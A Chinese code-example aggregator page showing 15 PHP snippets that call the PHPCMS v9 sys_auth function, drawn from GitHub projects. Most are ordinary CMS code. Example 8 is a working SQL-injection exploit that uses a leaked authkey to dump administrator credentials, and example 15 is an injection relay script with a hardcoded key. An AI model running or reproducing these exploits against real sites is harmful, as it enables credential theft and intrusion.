当前位置: 首页>>代码示例>>PHP>>正文


PHP sys_auth函数代码示例

本文整理汇总了PHP中sys_auth函数的典型用法代码示例。如果您正苦于以下问题:PHP sys_auth函数的具体用法?PHP sys_auth怎么用?PHP sys_auth使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了sys_auth函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: __construct

 /**
  * 构造函数
  */
 public function __construct()
 {
     $this->db = pc_base::load_model('member_model');
     pc_base::load_app_func('global');
     /*获取系统配置*/
     $this->settings = getcache('settings', 'admin');
     $this->applist = getcache('applist', 'admin');
     if (isset($_GET) && is_array($_GET) && count($_GET) > 0) {
         foreach ($_GET as $k => $v) {
             if (!in_array($k, array('m', 'c', 'a'))) {
                 $_POST[$k] = $v;
             }
         }
     }
     if (isset($_POST['appid'])) {
         $this->appid = intval($_POST['appid']);
     } else {
         exit('0');
     }
     if (isset($_POST['data'])) {
         parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
         if (!is_array($this->data)) {
             exit('0');
         }
     } else {
         exit('0');
     }
     if (isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
         $this->data['avatardata'] = $GLOBALS['HTTP_RAW_POST_DATA'];
         if ($this->applist[$this->appid]['authkey'] != $this->data['ps_auth_key']) {
             exit('0');
         }
     }
 }
开发者ID:pondyond,项目名称:phpcmsv9,代码行数:37,代码来源:phpsso.class.php

示例2: get_cookie

 public static function get_cookie($var, $default = '')
 {
     $var = CS_Cookie_Prefix . $var;
     $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'D', $var . CS_Encryption_Key) : $default;
     $value = safe_replace($value);
     return $value;
 }
开发者ID:djqhuan,项目名称:CSCMS-v4.0-UTF8,代码行数:7,代码来源:Cookie.php

示例3: ps_send

/**
 * 发送数据
 * @param $action 操作
 * @param $data 数据
 */
function ps_send($url, $data = null, $key)
{
    $s = $sep = '';
    foreach ($data as $k => $v) {
        if (is_array($v)) {
            $s2 = $sep2 = '';
            foreach ($v as $k2 => $v2) {
                if (is_array($v2)) {
                    $s3 = $sep3 = '';
                    foreach ($v2 as $k3 => $v3) {
                        $k3 = $k3;
                        $s3 .= "{$sep3}{$k}[{$k2}][{$k3}]=" . ps_stripslashes($v3);
                        $sep3 = '&';
                    }
                    $s .= $sep2 . $s3;
                } else {
                    $s2 .= "{$sep2}{$k}[{$k2}]=" . ps_stripslashes($v2);
                    $sep2 = '&';
                    $s .= $sep . $s2;
                }
            }
        } else {
            $s .= "{$sep}{$k}=" . ps_stripslashes($v);
        }
        $sep = '&';
    }
    $auth_s = 'code=' . urlencode(sys_auth($s, 'ENCODE', $key));
    return ps_post($url, 500000, $auth_s);
}
开发者ID:ahmatjan,项目名称:huluphp,代码行数:34,代码来源:global.func.php

示例4: check_member

 /**
  * 判断用户是否已经登陆
  */
 public final function check_member()
 {
     $phpcms_auth = param::get_cookie('auth');
     if (ROUTE_M == 'member' && ROUTE_C == 'index' && in_array(ROUTE_A, array('login', 'register', 'mini', 'send_newmail'))) {
         if ($phpcms_auth && ROUTE_A != 'mini') {
             showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');
         } else {
             return true;
         }
     } else {
         //判断是否存在auth cookie
         if ($phpcms_auth) {
             $auth_key = $auth_key = md5(pc_base::load_config('system', 'auth_key') . $_SERVER['HTTP_USER_AGENT']);
             list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
             //验证用户,获取用户信息
             $this->memberinfo = $this->db->get_one(array('userid' => $userid));
             //获取用户模型信息
             $this->db->set_model($this->memberinfo['modelid']);
             $this->_member_modelinfo = $this->db->get_one(array('userid' => $userid));
             $this->_member_modelinfo = $this->_member_modelinfo ? $this->_member_modelinfo : array();
             $this->db->set_model();
             if (is_array($this->memberinfo)) {
                 $this->memberinfo = array_merge($this->memberinfo, $this->_member_modelinfo);
             }
             if ($this->memberinfo && $this->memberinfo['password'] === $password) {
                 if (!defined('SITEID')) {
                     define('SITEID', $this->memberinfo['siteid']);
                 }
                 if ($this->memberinfo['groupid'] == 1) {
                     param::set_cookie('auth', '');
                     param::set_cookie('_userid', '');
                     param::set_cookie('_username', '');
                     param::set_cookie('_groupid', '');
                     showmessage(L('userid_banned_by_administrator', '', 'member'), 'index.php?m=member&c=index&a=login');
                 } elseif ($this->memberinfo['groupid'] == 7) {
                     param::set_cookie('auth', '');
                     param::set_cookie('_userid', '');
                     param::set_cookie('_groupid', '');
                     //设置当前登录待验证账号COOKIE,为重发邮件所用
                     param::set_cookie('_regusername', $this->memberinfo['username']);
                     param::set_cookie('_reguserid', $this->memberinfo['userid']);
                     param::set_cookie('_reguseruid', $this->memberinfo['phpssouid']);
                     param::set_cookie('email', $this->memberinfo['email']);
                     showmessage(L('need_emial_authentication', '', 'member'), 'index.php?m=member&c=index&a=register&t=2');
                 }
             } else {
                 param::set_cookie('auth', '');
                 param::set_cookie('_userid', '');
                 param::set_cookie('_username', '');
                 param::set_cookie('_groupid', '');
             }
             unset($userid, $password, $phpcms_auth, $auth_key);
         } else {
             $forward = isset($_GET['forward']) ? urlencode($_GET['forward']) : urlencode(get_url());
             showmessage(L('please_login', '', 'member'), 'index.php?m=member&c=index&a=login&forward=' . $forward);
         }
     }
 }
开发者ID:pondyond,项目名称:phpcmsv9,代码行数:61,代码来源:foreground.class.php

示例5: init

 public function init()
 {
     $allow_visitor = htmlspecialchars($_GET['allow_visitor']);
     $auth = sys_auth($allow_visitor, 'DECODE');
     if (strpos($auth, '|') === false) {
         showmessage(L('illegal_operation'));
     }
     $auth_str = explode('|', $auth);
     $flag = $auth_str[0];
     if (!preg_match('/^([0-9]+)|([0-9]+)/', $flag)) {
         showmessage(L('illegal_operation'));
     }
     $readpoint = intval($auth_str[1]);
     $paytype = intval($auth_str[2]);
     $http_referer = urldecode($_GET['http_referer']);
     if (!$readpoint) {
         showmessage(L('illegal_operation'));
     }
     pc_base::load_app_class('spend', 'pay', 0);
     $flag_arr = explode('_', $flag);
     $catid = $flag_arr[0];
     $siteids = getcache('category_content', 'commons');
     $siteid = $siteids[$catid];
     $CATEGORYS = getcache('category_content_' . $siteid, 'commons');
     if (isset($CATEGORYS[$catid])) {
         $setting = string2array($CATEGORYS[$catid]['setting']);
         $repeatchargedays = intval($setting['repeatchargedays']);
         if ($repeatchargedays) {
             $fromtime = SYS_TIME - 86400 * $repeatchargedays;
             $r = spend::spend_time($this->userid, $fromtime, $flag);
             if ($r) {
                 showmessage(L('have_pay'), $http_referer, 1000);
             }
         }
     }
     if ($paytype) {
         if (spend::amount($readpoint, L('msg_readpoint'), $this->userid, $this->username, '', '', $flag) == false) {
             $msg = spend::get_msg();
             $http_referer = APP_PATH . 'index.php?m=pay&c=deposit&a=pay';
         } else {
             $msg = L('readpoint_pay', array('readpoint' => $readpoint));
         }
     } else {
         if (spend::point($readpoint, L('msg_readpoint'), $this->userid, $this->username, '', '', $flag) == false) {
             $msg = spend::get_msg();
             $http_referer = APP_PATH . 'index.php?m=pay&c=deposit&a=pay';
         } else {
             $msg = L('readpoint_pay_point', array('readpoint' => $readpoint));
         }
     }
     showmessage($msg, $http_referer, 3000);
 }
开发者ID:zhouzhouxs,项目名称:Progect,代码行数:52,代码来源:readpoint.php

示例6: __construct

 function __construct()
 {
     pc_base::load_app_func('global');
     $this->upload_url = pc_base::load_config('system', 'upload_url');
     $this->upload_path = pc_base::load_config('system', 'upload_path');
     $this->imgext = array('jpg', 'gif', 'png', 'bmp', 'jpeg');
     $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'], 'DECODE'));
     $this->isadmin = 1;
     $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
     //判断是否登录
     if (empty($this->userid)) {
         //showmessage(L('please_login','','member'));
     }
 }
开发者ID:shenhua4286,项目名称:gxw,代码行数:14,代码来源:attachments.php

示例7: __construct

 /**
  * 构造函数
  */
 public function __construct()
 {
     $this->db = pc_base::load_model('member_model');
     pc_base::load_app_func('global');
     /*获取系统配置*/
     $this->settings = getcache('settings', 'admin');
     $this->applist = getcache('applist', 'admin');
     if (isset($_GET) && is_array($_GET) && count($_GET) > 0) {
         foreach ($_GET as $k => $v) {
             if (!in_array($k, array('m', 'c', 'a'))) {
                 $_POST[$k] = $v;
             }
         }
     }
     if (isset($_POST['appid'])) {
         $this->appid = intval($_POST['appid']);
     } else {
         exit('0');
     }
     if (isset($_POST['data'])) {
         parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
         if (empty($this->data) || !is_array($this->data)) {
             exit('0');
         }
         if (!get_magic_quotes_gpc()) {
             $this->data = new_addslashes($this->data);
         }
         if (isset($this->data['username']) && $this->data['username'] != '' && is_username($this->data['username']) == false) {
             exit('-5');
         }
         if (isset($this->data['email']) && $this->data['username'] != '' && is_email($this->data['email']) == false) {
             exit('-5');
         }
         if (isset($this->data['password']) && $this->data['password'] != '' && (is_password($this->data['password']) == false || is_badword($this->data['password']))) {
             exit('-5');
         }
         if (isset($this->data['newpassword']) && $this->data['newpassword'] != '' && (is_password($this->data['newpassword']) == false || is_badword($this->data['newpassword']))) {
             exit('-5');
         }
     } else {
         exit('0');
     }
     if (isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
         $this->data['avatardata'] = $GLOBALS['HTTP_RAW_POST_DATA'];
         //if($this->applist[$this->appid]['authkey'] != $this->data['ps_auth_key']) {
         //	exit('0');
         //}
     }
 }
开发者ID:boylzj,项目名称:omguitar,代码行数:52,代码来源:phpsso.class.php

示例8: sql_inject

function sql_inject()
{
    global $phpcmsv9;
    $limit = 10;
    //默认显示多少个管理员账号
    $admin = array();
    $key = authkey();
    for ($i = 0; $i < $limit; $i++) {
        $code = sys_auth("action=synlogin&uid=1' and(select 1 from(select count(*),concat((select (select (\n        SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit {$i},1)) from\n        information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#", 'ENCODE', $key);
        $target = $phpcmsv9 . '/api.php?op=phpsso&code=' . $code;
        #$target = $phpcmsv9 . 'phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=' . $code;
        $content = get_data($target);
        if (preg_match('/~(.+?)~1/', $content, $match)) {
            $admin[] = $match[1];
        } else {
            break;
        }
    }
    return $admin;
}
开发者ID:Hacker-One,项目名称:exp,代码行数:20,代码来源:PHPCMS_V9+AuthKey泄露导致注入EXP.php

示例9: download

	public function download() {
		$a_k = trim($_GET['a_k']);
		$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
		$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
		if(empty($a_k)) showmessage(L('illegal_parameters'));
		unset($i,$m,$f,$t,$ip);
		parse_str($a_k);		
		if(isset($i)) $downid = intval($i);
		if(!isset($m)) showmessage(L('illegal_parameters'));
		if(!isset($modelid)) showmessage(L('illegal_parameters'));
		if(empty($f)) showmessage(L('url_invalid'));
		if(!$i || $m<0) showmessage(L('illegal_parameters'));
		if(!isset($t)) showmessage(L('illegal_parameters'));
		if(!isset($ip)) showmessage(L('illegal_parameters'));
		$starttime = intval($t);
		if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
		$fileurl = trim($f);
		if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));	
		$endtime = SYS_TIME - $starttime;
		if($endtime > 3600) showmessage(L('url_invalid'));
		if($m) $fileurl = trim($s).trim($fileurl);
		//远程文件
		if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { 
			header("Location: $fileurl");
		} else {
			if($d == 0) {
				header("Location: ".$fileurl);
			} else {
				$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
				$filename = basename($fileurl);
				//处理中文文件
				if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
					$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
					$filename = urldecode(basename($filename));
				}
				$ext = fileext($filename);
				$filename = date('Ymd_his').random(3).'.'.$ext;
				file_down($fileurl, $filename);
			}
		}
	}
开发者ID:panhongsheng,项目名称:zl_cms,代码行数:41,代码来源:down.php

示例10: addslashes

    $title = $_GET['title'];
    $title = addslashes(urldecode($title));
    if (CHARSET != 'utf-8') {
        $title = iconv('utf-8', CHARSET, $title);
        $title = addslashes($title);
    }
    $title = htmlspecialchars($title);
    $url = safe_replace(addslashes(urldecode($_GET['url'])));
    $url = trim_script($url);
}
$_GET['callback'] = safe_replace($_GET['callback']);
//判断是否登录
$phpcms_auth = param::get_cookie('auth');
if ($phpcms_auth) {
    $auth_key = md5(pc_base::load_config('system', 'auth_key') . $_SERVER['HTTP_USER_AGENT']);
    list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
    if ($userid > 0) {
    } else {
        exit(trim_script($_GET['callback']) . '(' . json_encode(array('status' => -1)) . ')');
    }
} else {
    exit(trim_script($_GET['callback']) . '(' . json_encode(array('status' => -1)) . ')');
}
$favorite_db = pc_base::load_model('favorite_model');
$data = array('title' => $title, 'url' => $url, 'adddate' => SYS_TIME, 'userid' => $userid);
//根据url判断是否已经收藏过。
$is_exists = $favorite_db->get_one(array('url' => $url, 'userid' => $userid));
if (!$is_exists) {
    $favorite_db->insert($data);
}
exit(trim_script($_GET['callback']) . '(' . json_encode(array('status' => 1)) . ')');
开发者ID:cfhb,项目名称:MIS,代码行数:31,代码来源:add_favorite.php

示例11: synlogout

	/**
	 * 同步退出
	 * @return string javascript用户同步退出js
	 */
	public function synlogout() {
		if($this->applist[$this->appid]['synlogin']) {
			$res = '';
			//ucenter登陆部份
			if ($this->config['ucuse']) {
				pc_base::load_config('uc_config');
				require_once PHPCMS_PATH.'api/uc_client/client.php';
				$res .= uc_user_synlogout();
			}	
			foreach($this->applist as $v) {
				if (!$v['synlogin']) continue;
				if($v['appid'] != $this->appid) {
					$tmp_s = strstr($v['url'].$v['apifilename'], '?') ? '&' : '?';
					$res .= '<script type="text/javascript" src="'.$v['url'].$v['apifilename'].$tmp_s.'time='.SYS_TIME.'&code='.urlencode(sys_auth('action=synlogout&time='.SYS_TIME, 'ENCODE', $v['authkey'])).'" reload="1"></script>';
				}
			}
			exit($res);
		} else {
			exit;
		}
	}
开发者ID:heqishengcai,项目名称:phpcms,代码行数:25,代码来源:index.php

示例12: show

 public function show()
 {
     $catid = intval($_GET['catid']);
     $id = intval($_GET['id']);
     if (!$catid || !$id) {
         showmessage(L('information_does_not_exist'), 'blank');
     }
     $page = intval($_GET['page']);
     $page = max($page, 1);
     $siteids = getcache('category_content', 'commons');
     $siteid = $siteids[$catid];
     $CATEGORYS = getcache('category_content_' . $siteid, 'commons');
     if (!isset($CATEGORYS[$catid]) || $CATEGORYS[$catid]['type'] != 0) {
         showmessage(L('information_does_not_exist'), 'blank');
     }
     $this->category = $CAT = $CATEGORYS[$catid];
     $this->category_setting = $CAT['setting'] = string2array($this->category['setting']);
     $siteid = $GLOBALS['siteid'] = $CAT['siteid'];
     $MODEL = getcache('model', 'commons');
     $modelid = $CAT['modelid'];
     $tablename = $this->db->table_name = $this->db->db_tablepre . $MODEL[$modelid]['tablename'];
     $r = $this->db->get_one(array('id' => $id));
     if (!$r || $r['status'] != 99) {
         showmessage(L('info_does_not_exists'), 'blank');
     }
     $this->db->table_name = $tablename . '_data';
     $r2 = $this->db->get_one(array('id' => $id));
     $rs = $r2 ? array_merge($r, $r2) : $r;
     //再次重新赋值,以数据库为准
     $catid = $CATEGORYS[$r['catid']]['catid'];
     $modelid = $CATEGORYS[$catid]['modelid'];
     require_once CACHE_MODEL_PATH . 'content_output.class.php';
     $content_output = new content_output($modelid, $catid, $CATEGORYS);
     $data = $content_output->get($rs);
     //print_r($data);
     extract($data);
     //检查文章会员组权限
     if ($groupids_view && is_array($groupids_view)) {
         $_groupid = param::get_cookie('_groupid');
         $_groupid = intval($_groupid);
         if (!$_groupid) {
             $forward = urlencode(get_url());
             showmessage(L('login_website'), APP_PATH . 'index.php?m=member&c=index&a=login&forward=' . $forward);
         }
         if (!in_array($_groupid, $groupids_view)) {
             showmessage(L('no_priv'));
         }
     } else {
         //根据栏目访问权限判断权限
         $_priv_data = $this->_category_priv($catid);
         if ($_priv_data == '-1') {
             $forward = urlencode(get_url());
             showmessage(L('login_website'), APP_PATH . 'index.php?m=member&c=index&a=login&forward=' . $forward);
         } elseif ($_priv_data == '-2') {
             showmessage(L('no_priv'));
         }
     }
     if (module_exists('comment')) {
         $allow_comment = isset($allow_comment) ? $allow_comment : 1;
     } else {
         $allow_comment = 0;
     }
     //阅读收费 类型
     $paytype = $rs['paytype'];
     $readpoint = $rs['readpoint'];
     $allow_visitor = 1;
     if ($readpoint || $this->category_setting['defaultchargepoint']) {
         if (!$readpoint) {
             $readpoint = $this->category_setting['defaultchargepoint'];
             $paytype = $this->category_setting['paytype'];
         }
         //检查是否支付过
         $allow_visitor = self::_check_payment($catid . '_' . $id, $paytype);
         if (!$allow_visitor) {
             $http_referer = urlencode(get_url());
             $allow_visitor = sys_auth($catid . '_' . $id . '|' . $readpoint . '|' . $paytype) . '&http_referer=' . $http_referer;
         } else {
             $allow_visitor = 1;
         }
     }
     //最顶级栏目ID
     $arrparentid = explode(',', $CAT['arrparentid']);
     $top_parentid = $arrparentid[1] ? $arrparentid[1] : $catid;
     $brother_cats = subcat($top_parentid);
     //顶级栏目子栏目集合,03月10日
     $template = $template ? $template : $CAT['setting']['show_template'];
     if (!$template) {
         $template = 'show';
     }
     //SEO
     $seo_keywords = '';
     if (!empty($keywords)) {
         $seo_keywords = implode(',', $keywords);
     }
     $_cateinfo = M("category")->get_one("catid=" . $catid);
     $sys_title = M("safe_system")->get_one("id=1");
     $SEO = array('site_title' => $sys_title['attr_value'], 'keyword' => empty($seo_keywords) ? $sys_title['attr_value'] : $seo_keywords, "description" => $sys_title['attr_value'], 'title' => $title . " - " . $_cateinfo['catname'] . " - ");
     define('STYLE', $CAT['setting']['template_list']);
     if (isset($rs['paginationtype'])) {
         $paginationtype = $rs['paginationtype'];
//.........这里部分代码省略.........
开发者ID:zhouzhouxs,项目名称:Progect,代码行数:101,代码来源:index.php

示例13: synlogout

 public function synlogout($get, $post)
 {
     $res = '';
     foreach ($this->applist as $v) {
         if ($v['appid'] != $this->appid) {
             $f = strstr($v['url'] . $v['apifilename'], '?') ? '&' : '?';
             $res .= '<script type="text/javascript" src="' . $v['url'] . $v['apifilename'] . $f . 'time=' . SYS_TIME . '&code=' . urlencode(sys_auth('action=synlogout&time=' . SYS_TIME, 'ENCODE', $v['authkey'])) . '" reload="1"></script>';
         }
     }
     header("Content-type: text/javascript");
     return format_js($res);
 }
开发者ID:zhouzhouxs,项目名称:Progect,代码行数:12,代码来源:uc.php

示例14: public_forget_password

 /**
  * 找回密码
  * 新增加短信找回方式 
  */
 public function public_forget_password()
 {
     $email_config = getcache('common', 'commons');
     //SMTP MAIL 二种发送模式
     if ($email_config['mail_type'] == '1') {
         if (empty($email_config['mail_user']) || empty($email_config['mail_password'])) {
             showmessage(L('email_config_empty'), HTTP_REFERER);
         }
     }
     $this->_session_start();
     $member_setting = getcache('member_setting');
     if (isset($_POST['dosubmit'])) {
         if ($_SESSION['code'] != strtolower($_POST['code'])) {
             showmessage(L('code_error'), HTTP_REFERER);
         }
         $memberinfo = $this->db->get_one(array('email' => $_POST['email']));
         if (!empty($memberinfo['email'])) {
             $email = $memberinfo['email'];
         } else {
             showmessage(L('email_error'), HTTP_REFERER);
         }
         pc_base::load_sys_func('mail');
         $code = sys_auth($memberinfo['userid'] . "\t" . microtime(true), 'ENCODE', get_auth_key('email'));
         $url = APP_PATH . "index.php?m=member&c=index&a=public_forget_password&code={$code}";
         $message = $member_setting['forgetpassword'];
         $message = str_replace(array('{click}', '{url}'), array('<a href="' . $url . '">' . L('please_click') . '</a>', $url), $message);
         //获取站点名称
         $sitelist = getcache('sitelist', 'commons');
         if (isset($sitelist[$memberinfo['siteid']]['name'])) {
             $sitename = $sitelist[$memberinfo['siteid']]['name'];
         } else {
             $sitename = 'PHPCMS_V9_MAIL';
         }
         sendmail($email, L('forgetpassword'), $message, '', '', $sitename);
         showmessage(L('operation_success'), 'index.php?m=member&c=index&a=login');
     } elseif ($_GET['code']) {
         $hour = date('y-m-d h', SYS_TIME);
         $code = sys_auth($_GET['code'], 'DECODE', get_auth_key('email'));
         $code = explode("\t", $code);
         if (is_array($code) && is_numeric($code[0]) && date('y-m-d h', SYS_TIME) == date('y-m-d h', $code[1])) {
             $memberinfo = $this->db->get_one(array('userid' => $code[0]));
             if (empty($memberinfo['phpssouid'])) {
                 showmessage(L('operation_failure'), 'index.php?m=member&c=index&a=login');
             }
             $updateinfo = array();
             $password = random(8, "23456789abcdefghkmnrstwxy");
             $updateinfo['password'] = password($password, $memberinfo['encrypt']);
             $this->db->update($updateinfo, array('userid' => $code[0]));
             if (pc_base::load_config('system', 'phpsso')) {
                 //初始化phpsso
                 $this->_init_phpsso();
                 $this->client->ps_member_edit('', $email, '', $password, $memberinfo['phpssouid'], $memberinfo['encrypt']);
             }
             $email = $memberinfo['email'];
             //获取站点名称
             $sitelist = getcache('sitelist', 'commons');
             if (isset($sitelist[$memberinfo['siteid']]['name'])) {
                 $sitename = $sitelist[$memberinfo['siteid']]['name'];
             } else {
                 $sitename = 'PHPCMS_V9_MAIL';
             }
             pc_base::load_sys_func('mail');
             sendmail($email, L('forgetpassword'), "New password:" . $password, '', '', $sitename);
             showmessage(L('operation_success') . L('newpassword') . ':' . $password);
         } else {
             showmessage(L('operation_failure'), 'index.php?m=member&c=index&a=login');
         }
     } else {
         $siteid = isset($_REQUEST['siteid']) && trim($_REQUEST['siteid']) ? intval($_REQUEST['siteid']) : 1;
         $siteinfo = siteinfo($siteid);
         include template('member', 'forget_password');
     }
 }
开发者ID:boylzj,项目名称:omguitar,代码行数:77,代码来源:index.php

示例15: set_time_limit

<?php

/**
 * Created by 独自等待
 * Date: 2015/7/17
 * Time: 21:08
 * Name: phpcmsv9_authkey_sql.php
 * 独自等待博客:http://www.waitalone.cn/
 */
set_time_limit(0);
$wang_url = 'http://localhost/phpcmsv9';
//请修改这里为phpcmsv9网站地址
$auth_key = 'H9zUDnCVcNUvuk9EHIANYHfRvC2W5kAF';
//这里为phpcmsv9 authkey
$str = "uid=1" . stripslashes($_GET['id']);
$encode = sys_auth($str, 'ENCODE', $auth_key);
$content = file_get_contents($wang_url . "/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=" . $encode);
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
{
    $key_length = 4;
    $key = md5($key);
    $fixedkey = hash('md5', $key);
    $egiskeys = md5(substr($fixedkey, 16, 16));
    $runtokey = $key_length ? $operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length) : '';
    $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
    $i = 0;
    $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++) {
开发者ID:Hacker-One,项目名称:exp,代码行数:31,代码来源:PHPCMS中转脚本.php


注:本文中的sys_auth函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。